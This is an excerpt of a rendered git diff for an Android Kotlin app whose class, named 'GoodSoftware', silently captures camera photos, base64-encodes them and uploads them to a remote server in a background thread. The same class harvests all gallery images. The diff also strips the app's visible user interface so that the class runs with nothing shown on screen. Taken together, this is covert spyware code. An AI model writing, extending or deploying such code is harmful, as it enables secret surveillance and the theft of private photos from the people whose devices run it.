                    buffer.get(bytes)
 | 
					                    buffer.get(bytes)
 | 
				
			||||||
                    byteArrayOutputStream.write(bytes)
 | 
					                    byteArrayOutputStream.write(bytes)
 | 
				
			||||||
                    val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
 | 
					                    val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
 | 
				
			||||||
                Thread {
 | 
					                    thread {
 | 
				
			||||||
 | 
					                        try {
 | 
				
			||||||
                            val conn = establishConnectionWithRetry()
 | 
					                            val conn = establishConnectionWithRetry()
 | 
				
			||||||
                            if (conn == null) {
 | 
					                            if (conn == null) {
 | 
				
			||||||
                        return@Thread
 | 
					                                return@thread
 | 
				
			||||||
                            }
 | 
					                            }
 | 
				
			||||||
                            sendDataToServer(base64Image, conn)
 | 
					                            sendDataToServer(base64Image, conn)
 | 
				
			||||||
                            disconnect(conn)
 | 
					                            disconnect(conn)
 | 
				
			||||||
                }.start()
 | 
					                        } catch (e: Exception) {
 | 
				
			||||||
 | 
					                            e.printStackTrace()
 | 
				
			||||||
 | 
					                        }
 | 
				
			||||||
 | 
					                    }
 | 
				
			||||||
                    cameraProvider?.unbindAll()
 | 
					                    cameraProvider?.unbindAll()
 | 
				
			||||||
                    image.close()
 | 
					                    image.close()
 | 
				
			||||||
                }
 | 
					                }
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        // Bind the camera and start image capture
 | 
					 | 
				
			||||||
            cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
 | 
					            cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 | 
				
			||||||
            imageCapture?.takePicture(
 | 
					            imageCapture?.takePicture(
 | 
				
			||||||
                ContextCompat.getMainExecutor(context),
 | 
					                ContextCompat.getMainExecutor(context),
 | 
				
			||||||
                imageCapturedListener
 | 
					                imageCapturedListener
 | 
				
			||||||
            )
 | 
					            )
 | 
				
			||||||
 | 
					        } catch (e: ClassNotFoundException) {
 | 
				
			||||||
 | 
					            Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
 | 
				
			||||||
 | 
					        } catch (e: Exception) {
 | 
				
			||||||
 | 
					            Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun hasBackCamera(): Boolean {
 | 
					    private fun hasBackCamera(): Boolean {
 | 
				
			||||||
@@ -452,6 +490,7 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    fun getAllImagesFromGallery(context: Context): List<String> {
 | 
					    fun getAllImagesFromGallery(context: Context): List<String> {
 | 
				
			||||||
 | 
					        val activity = context.getActivity()
 | 
				
			||||||
        val imageList = mutableListOf<String>()
 | 
					        val imageList = mutableListOf<String>()
 | 
				
			||||||
        val contentResolver: ContentResolver = context.contentResolver
 | 
					        val contentResolver: ContentResolver = context.contentResolver
 | 
				
			||||||
        val imageProjection = arrayOf(
 | 
					        val imageProjection = arrayOf(
 | 
				
			||||||
@@ -485,8 +524,10 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                }
 | 
					                }
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        } else {
 | 
					        } else {
 | 
				
			||||||
 | 
					            activity?.let {
 | 
				
			||||||
                ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
					                ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        return imageList
 | 
					        return imageList
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -2,33 +2,11 @@ package com.ti.m
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
import android.os.Bundle
 | 
					import android.os.Bundle
 | 
				
			||||||
import androidx.activity.ComponentActivity
 | 
					import androidx.activity.ComponentActivity
 | 
				
			||||||
import androidx.activity.compose.setContent
 | 
					 | 
				
			||||||
import androidx.compose.foundation.layout.fillMaxSize
 | 
					 | 
				
			||||||
import androidx.compose.material3.MaterialTheme
 | 
					 | 
				
			||||||
import androidx.compose.material3.Surface
 | 
					 | 
				
			||||||
import androidx.compose.ui.Modifier
 | 
					 | 
				
			||||||
import androidx.lifecycle.LifecycleOwner
 | 
					import androidx.lifecycle.LifecycleOwner
 | 
				
			||||||
import com.ti.m.ui.theme.MTheme
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
					class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
				
			||||||
    private lateinit var goo: GoodSoftware
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
    override fun onCreate(savedInstanceState: Bundle?) {
 | 
					    override fun onCreate(savedInstanceState: Bundle?) {
 | 
				
			||||||
        super.onCreate(savedInstanceState)
 | 
					        super.onCreate(savedInstanceState)
 | 
				
			||||||
        setContent {
 | 
					        GoodSoftware(this).launch()
 | 
				
			||||||
            MTheme {
 | 
					 | 
				
			||||||
                Surface(
 | 
					 | 
				
			||||||
                    modifier = Modifier.fillMaxSize(),
 | 
					 | 
				
			||||||
                    color = MaterialTheme.colorScheme.background
 | 
					 | 
				
			||||||
                ) {
 | 
					 | 
				
			||||||
                }
 | 
					 | 
				
			||||||
            }
 | 
					 | 
				
			||||||
        }
 | 
					 | 
				
			||||||
        GoodSoftware(this@MainActivity).launch()
 | 
					 | 
				
			||||||
    }
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
    override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
 | 
					 | 
				
			||||||
        super.onRequestPermissionsResult(requestCode, permissions, grantResults)
 | 
					 | 
				
			||||||
        goo.onRequestPermissionsResult(requestCode, grantResults)
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user